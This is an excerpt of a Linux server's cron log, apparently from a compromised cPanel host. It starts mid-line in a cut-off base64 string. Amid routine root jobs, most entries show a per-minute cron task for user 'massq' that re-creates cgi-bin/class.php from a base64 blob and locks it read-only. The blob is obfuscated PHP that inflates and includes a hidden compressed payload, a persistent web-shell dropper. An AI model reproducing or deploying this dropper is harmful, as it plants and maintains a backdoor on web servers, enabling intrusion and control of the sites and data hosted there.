ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:49:01 server CROND[26899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:50:01 server CROND[27061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:50:01 server CROND[27062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:50:01 server CROND[27063]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 18:50:01 server CROND[27064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:50:01 server CROND[27066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:51:01 server CROND[27186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:52:01 server CROND[27247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:53:01 server CROND[27331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:54:01 server CROND[27384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:55:01 server CROND[27441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:55:01 server CROND[27442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:55:01 server CROND[27445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:56:01 server CROND[27674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:57:01 server CROND[27772]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 18:57:01 server CROND[27773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:58:01 server CROND[27829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:59:01 server CROND[27885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:00:01 server CROND[27945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:00:01 server CROND[27947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:00:01 server CROND[27946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:00:01 server CROND[27949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:01:01 server CROND[28159]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 19:01:01 server CROND[28160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:01:01 server run-parts(/etc/cron.hourly)[28159]: starting 0anacron
Apr  8 19:01:01 server run-parts(/etc/cron.hourly)[28172]: finished 0anacron
